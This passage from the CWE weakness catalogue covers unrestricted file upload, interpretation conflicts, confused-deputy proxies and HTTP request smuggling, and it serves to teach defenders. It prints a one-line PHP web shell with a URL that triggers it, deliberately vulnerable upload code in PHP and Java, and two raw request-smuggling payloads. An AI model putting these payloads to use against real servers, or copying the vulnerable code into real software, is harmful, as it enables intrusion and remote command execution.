<form action="upload_picture.php" method="post" enctype="multipart/form-data">
Choose a file to upload:
<input type="file" name="filename"/>
<br/>
<input type="submit" name="submit" value="Submit"/>
</form>
```

Once submitted, the form above sends the file to `upload_picture.php` on the web server. PHP stores the file in a temporary location until it is retrieved (or discarded) by the server side code. In this example, the file is moved to a more permanent `pictures/` directory.

**PHP Example:***Bad Code*

```
// Define the target location where the picture being
// uploaded is going to be saved.
$target = "pictures/" . basename($_FILES['uploadedfile']['name']);
// Move the uploaded file to the new location.
if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target))
{
    echo "The picture has been successfully uploaded.";
}
else
{
    echo "There was an error uploading the picture, please try again.";
}
```

The problem with the above code is that there is no check regarding type of file being uploaded. Assuming that `pictures/` is available in the web document root, an attacker could upload a file with the name:

*Attack*

```
malicious.php
```

Since this filename ends in ".php" it can be executed by the web server. In the contents of this uploaded file, the attacker could use:

**PHP Example:***Attack*

```
<?php
system($_GET['cmd']);
?>
```

Once this file has been installed, the attacker can enter arbitrary commands to execute using a URL such as:

*Attack*

```
http://server.example.com/upload_dir/malicious.php?cmd=ls%20-l
```

which runs the "ls -l" command - or any other type of command that the attacker wants to specify.

**Example 2:**

The following code demonstrates the unrestricted upload of a file with a Java servlet and a path traversal vulnerability. The HTML code is the same as in the previous example with the action attribute of the form sending the upload file request to the Java servlet instead of the PHP code.

**HTML Example:**

Good Code

```
<form action="FileUploadServlet" method="post" enctype="multipart/form-data">
Choose a file to upload:
<input type="file" name="filename"/>
<br/>
<input type="submit" name="submit" value="Submit"/>
</form>
```

When submitted the Java servlet's doPost method will receive the request, extract the name of the file from the Http request header, read the file contents from the request and output the file to the local upload directory.

**Java Example:**

Bad Code

```
public class FileUploadServlet extends HttpServlet {
    ...
    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException,
    IOException {
        response.setContentType("text/html");
        PrintWriter out = response.getWriter();
        String contentType = request.getContentType();
        // the starting position of the boundary header
        int ind = contentType.indexOf("boundary=");
        String boundary = contentType.substring(ind+9);
        String pLine = new String();
        String uploadLocation = new String(UPLOAD_DIRECTORY_STRING); //Constant value
        // verify that content type is multipart form data
        if (contentType != null && contentType.indexOf("multipart/form-data") != -1) {
            // extract the filename from the Http header
            BufferedReader br = new BufferedReader(new InputStreamReader(request.getInputStream()));
            ...
            pLine = br.readLine();
            String filename = pLine.substring(pLine.lastIndexOf("\n"), pLine.lastIndexOf("\r"));
            ...
            // output the file to the local upload directory
            try {
                BufferedWriter bw = new BufferedWriter(new FileWriter(uploadLocation+filename, true));
                for (String line; (line=br.readLine())!=null; ) {
                    if (line.indexOf(boundary) == -1) {
                        bw.write(line);
                        bw.newLine();
                        bw.flush();
                    }
                } //end of for loop
                bw.close();
            } catch (IOException ex) {...}
            // output successful upload response HTML page
        }
        // output unsuccessful upload response HTML page
        else
        {...}
    }
    ...
}
```

As with the previous example this code does not perform a check on the type of the file being uploaded. This could allow an attacker to upload any executable file or other file with malicious code.

Additionally, the creation of the BufferedWriter object is subject to relative path traversal (CWE-22, CWE-23). Depending on the executing environment, the attacker may be able to specify arbitrary files to write to, leading to a wide variety of consequences, from code execution, XSS (CWE-79), or system crash.

**Observed Examples**



Reference	Description
CVE-2001-0901	Web-based mail product stores ".shtml" attachments that could contain SSI
CVE-2002-1841	PHP upload does not restrict file types
CVE-2004-2262	improper type checking of uploaded files
CVE-2005-0254	program does not restrict file types
CVE-2005-1868	upload and execution of .php file
CVE-2005-1881	upload file with dangerous extension
CVE-2005-3288	ASP file upload
CVE-2006-2428	ASP file upload
CVE-2006-4558	Double "php" extension leaves an active php extension in the generated filename.
CVE-2006-6994	ASP program allows upload of .asp files by bypassing client-side checks

## Potential Mitigations

### Architecture and Design

Generate a new, unique filename for an uploaded file instead of using the user-supplied filename, so that no external input is used at all.[R.434.1] [R.434.2]

### Architecture and Design

#### Enforcement by Conversion

When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.

### Architecture and Design

Consider storing the uploaded files outside of the web document root entirely. Then, use other mechanisms to deliver the files dynamically. [R.434.2]

### Implementation

#### Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

For example, limiting filenames to alphanumeric characters can help to restrict the introduction of unintended file extensions.

### Architecture and Design

Define a very limited set of allowable extensions and only generate filenames that end in these extensions. Consider the possibility of XSS (CWE-79) before allowing .html or .htm file types.

### Implementation

#### Input Validation

Ensure that only one extension is used in the filename. Some web servers, including some versions of Apache, may process files based on inner extensions so that "filename.php.gif" is fed to the PHP interpreter.[R.434.1] [R.434.2]

### Implementation

When running on a web server that supports case-insensitive filenames, perform case-insensitive evaluations of the extensions that are provided.

**Architecture and Design**

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

**Implementation**

Do not rely exclusively on sanity checks of file contents to ensure that the file is of the expected type and size. It may be possible for an attacker to hide code in some file segments that will still be executed by the server. For example, GIF images may contain a free-form comments field.

**Implementation**

Do not rely exclusively on the MIME content type or filename attribute when determining how to render a file. Validating the MIME content type and ensuring that it matches the extension is only a partial solution.

**Architecture and Design****Operation****Environment Hardening**

Run your code using the lowest privileges that are required to accomplish the necessary tasks [R.434.4]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

**Architecture and Design****Operation****Sandbox or Jail****Limited**

Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.

OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, `java.io.FilePermission` in the Java SecurityManager allows the software to specify restrictions on file operations.

This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.

Be careful to avoid CWE-243 and other weaknesses related to jails.

The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.

**Weakness Ordinalities**

**Primary** (where the weakness exists independent of other weaknesses)

This can be primary when there is no check at all.

**Resultant** (where the weakness is typically related to the presence of some other weaknesses)

This is frequently resultant when use of double extensions (e.g. ".php.gif") bypasses a sanity check.

This can be resultant from client-side enforcement (CWE-602); some products will include web script in web clients to check the filename, without verifying on the server side.

**Relationships**

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
PeerOf	<b>B</b>	351	Insufficient Type Distinction		1000 610
ChildOf	<b>C</b>	429	Handler Errors		<b>699</b> 738
PeerOf	<b>B</b>	430	Deployment of Wrong Handler		1000 738
PeerOf	<b>B</b>	436	Interpretation Conflict		1000 749
ChildOf	<b>C</b>	632	Weaknesses that Affect Files or Directories		<b>631</b> 981

Nature	Type	ID	Name	CVSS	Page
ChildOf		669	Incorrect Resource Transfer Between Spheres	1000	1036
ChildOf		714	OWASP Top Ten 2007 Category A3 - Malicious File Execution	629	1112
ChildOf		801	2010 Top 25 - Insecure Interaction Between Components	800	1228
ChildOf		813	OWASP Top Ten 2010 Category A4 - Insecure Direct Object References	809	1246
ChildOf		864	2011 Top 25 - Insecure Interaction Between Components	900	1308
CanFollow		73	<i>External Control of File Name or Path</i>	1000	109
CanFollow		183	<i>Permissive Whitelist</i>	1000	352
CanFollow		184	<i>Incomplete Blacklist</i>	1000	352
MemberOf		884	<i>CWE Cross-section</i>	884	1319

### Relationship Notes

This can have a chaining relationship with incomplete blacklist / permissive whitelist errors when the product tries, but fails, to properly limit which types of files are allowed (CWE-183, CWE-184). This can also overlap multiple interpretation errors for intermediaries, e.g. anti-virus products that do not remove or quarantine attachments with certain file extensions that can be processed by client systems.

### Research Gaps

PHP applications are most targeted, but this likely applies to other languages that support file upload, as well as non-web technologies. ASP applications have also demonstrated this problem.

### Affected Resources

- File/Directory

### Functional Areas

- File Processing

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Unrestricted File Upload
OWASP Top Ten 2007	A3	CWE More Specific	Malicious File Execution

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
1	Accessing Functionality Not Properly Constrained by ACLs	
122	Privilege Abuse	

### References

- Richard Stanway (r1CH). "Dynamic File Uploads, Security and You". < <http://shsc.info/FileUploadSecurity> >.
- Johannes Ullrich. "8 Basic Rules to Implement Secure File Uploads". 2009-12-28. < <http://blogs.sans.org/appsecstreetfighter/2009/12/28/8-basic-rules-to-implement-secure-file-uploads/> >.
- Johannes Ullrich. "Top 25 Series - Rank 8 - Unrestricted Upload of Dangerous File Type". SANS Software Security Institute. 2010-02-25. < <http://blogs.sans.org/appsecstreetfighter/2010/02/25/top-25-series-rank-8-unrestricted-upload-of-dangerous-file-type/> >.
- [REF-31] Sean Barnum and Michael Gegick. "Least Privilege". 2005-09-14. < <https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/351.html> >.
- [REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 17, "File Uploading", Page 1068.. 1st Edition. Addison Wesley. 2006.

## CWE-435: Interaction Error

Weakness ID: 435 (Weakness Class)

Status: Draft

### Description

#### Summary

An interaction error occurs when two entities work correctly when running independently, but they interact in unexpected ways when they are run together.

### Extended Description

This could apply to products, systems, components, etc.

### Time of Introduction

- Architecture and Design
- Implementation
- Operation

### Applicable Platforms

#### Languages

- All

### Common Consequences

#### Integrity

#### Other

#### Unexpected state

#### Varies by context

### Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	2	Environment	699	1
ChildOf	C	957	SFP Secondary Cluster: Protocol Error	888	1374
ParentOf	B	188	Reliance on Data/Memory Layout	1000	359
ParentOf	B	436	Interpretation Conflict	699 1000	749
ParentOf	B	439	Behavioral Change in New Version or Environment	1000	752
ParentOf	B	733	Compiler Optimization Removal or Modification of Security-critical Code	1000	1129
MemberOf	V	1000	Research Concepts	1000	1402

### Relationship Notes

The "Interaction Error" term, in CWE and elsewhere, is only intended to describe products that behave according to specification. When one or more of the products do not comply with specifications, then it is more likely to be API Abuse (CWE-227) or an interpretation conflict (CWE-436). This distinction can be blurred in real world scenarios, especially when "de facto" standards do not comply with specifications, or when there are no standards but there is widespread adoption. As a result, it can be difficult to distinguish these weaknesses during mapping and classification.

### Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Interaction Errors

## CWE-436: Interpretation Conflict

Weakness ID: 436 (Weakness Base)

Status: Incomplete

### Description

#### Summary

Product A handles inputs or steps differently than Product B, which causes A to perform incorrect actions based on its perception of B's state.

#### Extended Description

This is generally found in proxies, firewalls, anti-virus software, and other intermediary devices that monitor, allow, deny, or modify traffic based on how the client or server is expected to behave.

### Time of Introduction

- Architecture and Design
- Implementation

### Applicable Platforms

#### Languages

- Language-independent

### Common Consequences

Integrity

Other

Unexpected state

Varies by context

### Observed Examples

Reference	Description
CVE-2002-0485	Anti-virus product allows bypass via Content-Type and Content-Disposition headers that are mixed case, which are still processed by some clients.
CVE-2002-0637	Virus product bypass with spaces between MIME header fields and the ":" separator, a non-standard message that is accepted by some clients.
CVE-2002-1777	AV product detection bypass using inconsistency manipulation (file extension in MIME Content-Type vs. Content-Disposition field).
CVE-2002-1978	FTP clients sending a command with "PASV" in the argument can cause firewalls to misinterpret the server's error as a valid response, allowing filter bypass.
CVE-2002-1979	FTP clients sending a command with "PASV" in the argument can cause firewalls to misinterpret the server's error as a valid response, allowing filter bypass.
CVE-2005-1215	Bypass filters or poison web cache using requests with multiple Content-Length headers, a non-standard behavior.
CVE-2005-3310	CMS system allows uploads of files with GIF/JPG extensions, but if they contain HTML, Internet Explorer renders them as HTML instead of images.
CVE-2005-4080	Interpretation conflict (non-standard behavior) enables XSS because browser ignores invalid characters in the middle of tags.
CVE-2005-4260	Interpretation conflict allows XSS via invalid "<" when a ">" is expected, which is treated as ">" by many web browsers.
[R.436.2]	White paper: showed that OSes varied widely in how they manage unusual packets, which made it difficult or impossible for intrusion detection systems to properly detect certain attacker manipulations that took advantage of these OS differences.
[R.436.4]	"poison null byte" example - null characters have different interpretations in Perl and C, which have security consequences when Perl invokes C functions. Similar problems have been reported in ASP [R.436.3] and PHP.

### Relationships

Nature	Type	ID	Name	V	Page
ChildOf		435	Interaction Error	<b>699</b> <b>1000</b>	748
ChildOf		957	SFP Secondary Cluster: Protocol Error	<b>888</b>	1374
ParentOf		86	<i>Improper Neutralization of Invalid Characters in Identifiers in Web Pages</i>	1000	152
ParentOf		115	<i>Misinterpretation of Input</i>	<b>699</b> <b>1000</b>	217
PeerOf		351	<i>Insufficient Type Distinction</i>	1000	610
PeerOf		434	<i>Unrestricted Upload of File with Dangerous Type</i>	1000	742
ParentOf		437	<i>Incomplete Model of Endpoint Features</i>	<b>699</b> <b>1000</b>	751
ParentOf		444	<i>Inconsistent Interpretation of HTTP Requests ('HTTP Request Smuggling')</i>	<b>1000</b>	756
ParentOf		626	<i>Null Byte Interaction Error (Poison Null Byte)</i>	699 1000	974
ParentOf		650	<i>Trusting HTTP Permission Methods on the Server Side</i>	<b>1000</b>	1007

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		Multiple Interpretation Error (MIE)
WASC	27	HTTP Response Smuggling

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
33	HTTP Request Smuggling	
105	HTTP Request Splitting	
273	HTTP Response Smuggling	

## References

- Steve Christey. "On Interpretation Conflict Vulnerabilities". Bugtraq. 2005-11-03.
- Thomas H. Ptacek and Timothy N. Newsham. "Insertion, Evasion, and Denial of Service: Eluding Network Intrusion Detection". January 1998. < [http://www.insecure.org/stf/secnet\\_ids/secnet\\_ids.pdf](http://www.insecure.org/stf/secnet_ids/secnet_ids.pdf) >.
- Brett Moore. "0x00 vs ASP file upload scripts". 2004-07-13. < [http://www.security-assessment.com/Whitepapers/0x00\\_vs\\_ASP\\_File\\_Uploads.pdf](http://www.security-assessment.com/Whitepapers/0x00_vs_ASP_File_Uploads.pdf) >.
- Rain Forest Puppy. "Poison NULL byte". Phrack.
- David F. Skoll. "Re: Corsaire Security Advisory - Multiple vendor MIME RFC2047 encoding". Bugtraq. 2004-09-15. < <http://marc.info/?l=bugtraq&m=109525864717484&w=2> >.

# CWE-437: Incomplete Model of Endpoint Features

Weakness ID: 437 (Weakness Base)

Status: Incomplete

## Description

### Summary

A product acts as an intermediary or monitor between two or more endpoints, but it does not have a complete model of an endpoint's features, behaviors, or state, potentially causing the product to perform incorrect actions based on this incomplete model.

## Time of Introduction

- Architecture and Design
- Implementation

## Applicable Platforms

### Languages

- All

## Common Consequences

### Integrity

### Other

### Unexpected state

### Varies by context

## Demonstrative Examples




### Example 1:

HTTP request smuggling is an attack against an intermediary such as a proxy. This attack works because the proxy expects the client to parse HTTP headers one way, but the client parses them differently.

### Example 2:

Anti-virus products that reside on mail servers can suffer from this issue if they do not know how a mail client will handle a particular attachment. The product might treat an attachment type as safe, not knowing that the client's configuration treats it as executable.

## Relationships

Nature	Type	ID	Name	CVSS	Page
ChildOf		436	Interpretation Conflict	 699 1000	749
ChildOf		957	SFP Secondary Cluster: Protocol Error	888	1374

## Relationship Notes

This can be related to interaction errors, although in some cases, one of the endpoints is not performing correctly according to specification.

## Taxonomy Mappings



Mapped Taxonomy Name	Mapped Node Name
PLOVER	Extra Unhandled Features

## CWE-438: Behavioral Problems

Category ID: 438 (Category) Status: Draft

### Description

#### Summary

Weaknesses in this category are related to unexpected behaviors from code that an application uses.

### Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	18	Source Code	699	17
ParentOf	B	439	Behavioral Change in New Version or Environment	699	752
ParentOf	B	440	Expected Behavior Violation	699	753
ParentOf	C	799	Improper Control of Interaction Frequency	699	1225
ParentOf	C	840	Business Logic Errors	699	1283
ParentOf	B	841	Improper Enforcement of Behavioral Workflow	699	1284

### Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Behavioral problems

## CWE-439: Behavioral Change in New Version or Environment

Weakness ID: 439 (Weakness Base) Status: Draft

### Description

#### Summary

A's behavior or functionality changes with a new version of A, or a new environment, which is not known (or manageable) by B.

### Alternate Terms

#### Functional change

### Time of Introduction

- Architecture and Design
- Implementation

### Applicable Platforms

#### Languages

- All

### Common Consequences

#### Other

#### Quality degradation

#### Varies by context

### Observed Examples

Reference	Description
CVE-2002-1976	Linux kernel 2.2 and above allow promiscuous mode using a different method than previous versions, and ifconfig is not aware of the new method (alternate path property).
CVE-2003-0411	chain: Code was ported from a case-sensitive Unix platform to a case-insensitive Windows platform where filetype handlers treat .jsp and .JSP as different extensions. JSP source code may be read because .JSP defaults to the filetype "text".
CVE-2005-1711	Product uses defunct method from another product that does not return an error code and allows detection avoidance.

### Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	435	Interaction Error	1000	748



Nature	Type	ID	Name	V	Page
ChildOf	C	438	Behavioral Problems	699	752
ChildOf	C	1001	SFP Secondary Cluster: Use of an Improper API	888	1403

### Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	CHANGE Behavioral Change

## CWE-440: Expected Behavior Violation

Weakness ID: 440 (Weakness Base) Status: Draft

### Description

#### Summary

A feature, API, or function being used by a product behaves differently than the product expects.

#### Time of Introduction

- Architecture and Design
- Implementation
- Operation

#### Applicable Platforms

##### Languages

- All

#### Common Consequences

##### Other

##### Quality degradation

##### Varies by context

#### Observed Examples

Reference	Description
CVE-2003-0187	Inconsistency in support of linked lists causes program to use large timeouts on "undeserving" connections.
CVE-2003-0465	"strncpy" in Linux kernel acts different than libc on x86, leading to expected behavior difference - sort of a multiple interpretation error?
CVE-2005-3265	Buffer overflow in product stems to the use of a third party library function that is expected to have internal protection against overflows, but doesn't.

### Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	438	Behavioral Problems	699	752
ChildOf	B	684	Incorrect Provision of Specified Functionality	1000	1065
ChildOf	C	1001	SFP Secondary Cluster: Use of an Improper API	888	1403

### Theoretical Notes

The consistency dimension of validity is the most appropriate relevant property of an expected behavior violation. That is, the behavior of the application is not consistent with the expectations of the developer, leading to a violation of the validity property of the software.

### Relevant Properties

- Validity

### Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Expected behavior violation

## CWE-441: Unintended Proxy or Intermediary ('Confused Deputy')

Weakness ID: 441 (Weakness Class) Status: Draft

### Description

#### Summary

The software receives a request, message, or directive from an upstream component, but the software does not sufficiently preserve the original source of the request before forwarding the request to an external actor that is outside of the software's control sphere. This causes the software to appear to be the source of the request, leading it to act as a proxy or other intermediary between the upstream component and the external actor.

### Extended Description

If an attacker cannot directly contact a target, but the software has access to the target, then the attacker can send a request to the software and have it be forwarded from the target. The request would appear to be coming from the software's system, not the attacker's system. As a result, the attacker can bypass access controls (such as firewalls) or hide the source of malicious requests, since the requests would not be coming directly from the attacker.

Since proxy functionality and message-forwarding often serve a legitimate purpose, this issue only becomes a vulnerability when:

The software runs with different privileges or on a different system, or otherwise has different levels of access than the upstream component;

The attacker is prevented from making the request directly to the target; and

The attacker can create a request that the proxy does not explicitly intend to be forwarded on the behalf of the requester. Such a request might point to an unexpected hostname, port number, or service. Or, the request might be sent to an allowed service, but the request could contain disallowed directives, commands, or resources.

### Alternate Terms

#### Confused Deputy

This weakness is sometimes referred to as the "Confused deputy" problem, in which an attacker misused the authority of one victim (the "confused deputy") when targeting another victim.

### Time of Introduction

- Architecture and Design

### Applicable Platforms

#### Languages

- Language-independent

### Common Consequences

#### Non-Repudiation

#### Access Control

#### Gain privileges / assume identity

#### Hide activities

### Observed Examples








Reference	Description
CVE-1999-0017	FTP bounce attack. The design of the protocol allows an attacker to modify the PORT command to cause the FTP server to connect to other machines besides the attacker's.
CVE-1999-0168	RPC portmapper could redirect service requests from an attacker to another entity, which thinks the requests came from the portmapper.
CVE-2001-1484	Bounce attack allows access to TFTP from trusted side.
CVE-2002-1484	Web server allows attackers to request a URL from another server, including other ports, which allows proxied scanning.
CVE-2004-2061	CGI script accepts and retrieves incoming URLs.
CVE-2005-0315	FTP server does not ensure that the IP address in a PORT command is the same as the FTP user's session, allowing port scanning by proxy.
CVE-2009-0037	URL-downloading library automatically follows redirects to file:// and scp:// URLs
CVE-2010-1637	Web-based mail program allows internal network scanning using a modified POP3 port number.

### Potential Mitigations

#### Architecture and Design

Enforce the use of strong mutual authentication mechanism between the two parties.

#### Relationships

Nature	Type	ID	Name	V	Page
ChildOf		610	Externally Controlled Reference to a Resource in Another Sphere	1000	957
CanPrecede		668	Exposure of Resource to Wrong Sphere	1000	1035
ChildOf		956	SFP Secondary Cluster: Channel Attack	888	1374
RequiredBy		352	Cross-Site Request Forgery (CSRF)	1000	611
RequiredBy		384	Session Fixation	1000	663
PeerOf		611	Improper Restriction of XML External Entity Reference ('XXE')	1000	958
ParentOf		918	Server-Side Request Forgery (SSRF)	699	1345
				1000	

### Relationship Notes

This weakness has a chaining relationship with CWE-668 (Exposure of Resource to Wrong Sphere) because the proxy effectively provides the attacker with access to the target's resources that the attacker cannot directly obtain.

### Theoretical Notes

It could be argued that the "confused deputy" is a fundamental aspect of most vulnerabilities that require an active attacker. Even for common implementation issues such as buffer overflows, SQL injection, OS command injection, and path traversal, the vulnerable program already has the authorization to run code or access files. The vulnerability arises when the attacker causes the program to run unexpected code or access unexpected files.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		Unintended proxy/intermediary
PLOVER		Proxied Trusted Channel
WASC	32	Routing Detour

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
141	Cache Poisoning	
142	DNS Cache Poisoning	
219	XML Routing Detour Attacks	
465	Socket Capable Browser Plugins Result In Transparent Proxy Abuse	

### References

Norm Hardy. "The Confused Deputy (or why capabilities might have been invented)". 1988. <  
<http://www.cap-lore.com/CapTheory/ConfusedDeputy.html> >.

### Maintenance Notes

This could possibly be considered as an emergent resource.

## CWE-442: Web Problems







Category ID: 442 (Category) Status: Draft

### Description

#### Summary

Weaknesses in this category are related to World Wide Web technology.

### Relationships

Nature	Type	ID	Name	V	Page
ChildOf		18	Source Code	699	17
ParentOf		79	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	699	131
ParentOf		113	Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Response Splitting')	699	211
ParentOf		352	Cross-Site Request Forgery (CSRF)	699	611
ParentOf		425	Direct Request ('Forced Browsing')	699	727
ParentOf		444	Inconsistent Interpretation of HTTP Requests ('HTTP Request Smuggling')	699	756

Nature	Type	ID	Name	V	Page
ParentOf	V	601	URL Redirection to Untrusted Site ('Open Redirect')	699	942
ParentOf	V	611	Improper Restriction of XML External Entity Reference ('XXE')	699	958
ParentOf	V	644	Improper Neutralization of HTTP Headers for Scripting Syntax	699	999
ParentOf	V	646	Reliance on File Name or Extension of Externally-Supplied File	699	1002
ParentOf	V	647	Use of Non-Canonical URL Paths for Authorization Decisions	699	1003
ParentOf	V	776	Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')	699	1190
ParentOf	V	784	Reliance on Cookies without Validation and Integrity Checking in a Security Decision	699	1202
ParentOf	B	827	Improper Control of Document Type Definition	699	1258

### Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Web problems

## CWE-443: DEPRECATED (Duplicate): HTTP response splitting

Weakness ID: 443 (Deprecated Weakness Base)

Status: Deprecated

### Description

#### Summary

This weakness can be found at CWE-113.

## CWE-444: Inconsistent Interpretation of HTTP Requests ('HTTP Request Smuggling')

Weakness ID: 444 (Weakness Base)

Status: Incomplete

### Description

#### Summary

When malformed or abnormal HTTP requests are interpreted by one or more entities in the data flow between the user and the web server, such as a proxy or firewall, they can be interpreted inconsistently, allowing the attacker to "smuggle" a request to one device without the other device being aware of it.

#### Time of Introduction

- Architecture and Design
- Implementation

#### Applicable Platforms

##### Languages

- All

#### Common Consequences

##### Integrity

##### Non-Repudiation

##### Access Control

##### Unexpected state

##### Hide activities

##### Bypass protection mechanism

An attacker could create a request to exploit a number of weaknesses including 1) the request can trick the web server to associate a URL with another URLs webpage and caching the contents of the webpage (web cache poisoning attack), 2) the request can be structured to bypass the firewall protection mechanisms and gain unauthorized access to a web application, and 3) the request can invoke a script or a page that returns client credentials (similar to a Cross Site Scripting attack).

#### Demonstrative Examples

**Example 1:**

In the following example, a malformed HTTP request is sent to a website that includes a proxy server and a web server with the intent of poisoning the cache to associate one webpage with another malicious webpage.

Attack

```
POST http://www.website.com/foobar.html HTTP/1.1
Host: www.website.com
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
Content-Length: 44
GET /poison.html HTTP/1.1
Host: www.website.com
Bla: GET http://www.website.com/page_to_poison.html HTTP/1.1
Host: www.website.com
Connection: Keep-Alive
```

When this request is sent to the proxy server, the proxy server parses the POST request in the first seven lines, and encounters the two "Content-Length" headers. The proxy server ignores the first header, so it assumes the request has a body of length 44 bytes. Therefore, it treats the data in the next three lines that contain exactly 44 bytes as the first request's body. The proxy then parses the last three lines which it treats as the client's second request.

The request is forwarded by the proxy server to the web server. Unlike the proxy, the web server uses the first "Content-Length" header and considers that the first POST request has no body, and the second request is the line with the first GET (note that the second GET is parsed by the web server as the value of the "Bla" header).

The requests the web server sees are "POST /foobar.html" and "GET /poison.html", so it sends back two responses with the contents of the "foobar.html" page and the "poison.html" page, respectively. The proxy matches these responses to the two requests it thinks were sent by the client "POST /foobar.html" and "GET /page\_to\_poison.html". If the response is cacheable, the proxy caches the contents of "poison.html" under the URL "page\_to\_poison.html", and the cache is poisoned! Any client requesting "page\_to\_poison.html" from the proxy would receive the "poison.html" page.

When a website includes both a proxy server and a web server some protection against this type of attack can be achieved by installing a web application firewall, or use a web server that includes a stricter HTTP parsing procedure or make all webpages non-cacheable.

Additionally, if a web application includes a Java servlet for processing requests, the servlet can check for multiple "Content-Length" headers and if they are found the servlet can return an error response thereby preventing the poison page to be cached, as shown below.

**Java Example:**

Good Code

```
protected void processRequest(HttpServletRequest request, HttpServletResponse response) throws ServletException,
IOException {
    // Set up response writer object
    ...
    try {
        // check for multiple content length headers
        Enumeration contentLengthHeaders = request.getHeaders("Content-Length");
        int count = 0;
        while (contentLengthHeaders.hasMoreElements()) {
            count++;
        }
        if (count > 1) {
            // output error response
        }
        else {
            // process request
        }
    } catch (Exception ex) {...}
}
```

**Example 2:**

In the following example, a malformed HTTP request is sent to a website that includes a web server with a firewall with the intent of bypassing the web server firewall to smuggle malicious code into the system..

Attack

```
POST /page.asp HTTP/1.1
Host: www.website.com
Connection: Keep-Alive
Content-Length: 49223
zzz...zzz ["z" x 49152]
POST /page.asp HTTP/1.0
Connection: Keep-Alive
Content-Length: 30
POST /page.asp HTTP/1.0
Bla: POST /page.asp?cmd.exe HTTP/1.0
Connection: Keep-Alive
```

When this request is sent to the web server, the first POST request has a content-length of 49,223 bytes, and the firewall treats the line with 49,152 copies of "z" and the lines with an additional lines with 71 bytes as its body (49,152+71=49,223). The firewall then continues to parse what it thinks is the second request starting with the line with the third POST request.

Note that there is no CRLF after the "Bla: " header so the POST in the line is parsed as the value of the "Bla:" header. Although the line contains the pattern identified with a worm ("cmd.exe"), it is not blocked, since it is considered part of a header value. Therefore, "cmd.exe" is smuggled through the firewall.

When the request is passed through the firewall the web server the first request is ignored because the web server does not find an expected "Content-Type: application/x-www-form-urlencoded" header, and starts parsing the second request.

This second request has a content-length of 30 bytes, which is exactly the length of the next two lines up to the space after the "Bla:" header. And unlike the firewall, the web server processes the final POST as a separate third request and the "cmd.exe" worm is smuggled through the firewall to the web server.

To avoid this attack a Web server firewall product must be used that is designed to prevent this type of attack.

**Observed Examples**

Reference	Description
CVE-2005-2088	Web servers allow request smuggling via inconsistent Transfer-Encoding and Content-Length headers.
CVE-2005-2089	Web servers allow request smuggling via inconsistent Transfer-Encoding and Content-Length headers.
CVE-2005-2090	Web servers allow request smuggling via inconsistent Transfer-Encoding and Content-Length headers.
CVE-2005-2091	Web servers allow request smuggling via inconsistent Transfer-Encoding and Content-Length headers.
CVE-2005-2092	Web servers allow request smuggling via inconsistent Transfer-Encoding and Content-Length headers.
CVE-2005-2093	Web servers allow request smuggling via inconsistent Transfer-Encoding and Content-Length headers.
CVE-2005-2094	Web servers allow request smuggling via inconsistent Transfer-Encoding and Content-Length headers.

**Potential Mitigations****Implementation**

Use a web server that employs a strict HTTP parsing procedure, such as Apache [R.444.1].

**Implementation**

Use only SSL communication.

**Implementation**

Terminate the client session after each request.

### System Configuration

Turn all pages to non-cacheable.

### Relationships

Nature	Type	ID	Name		Page
ChildOf	B	436	Interpretation Conflict	V	749
ChildOf	C	442	Web Problems		755
ChildOf	C	990	SFP Secondary Cluster: Tainted Input to Command		1388
MemberOf	V	884	CWE Cross-section		1319

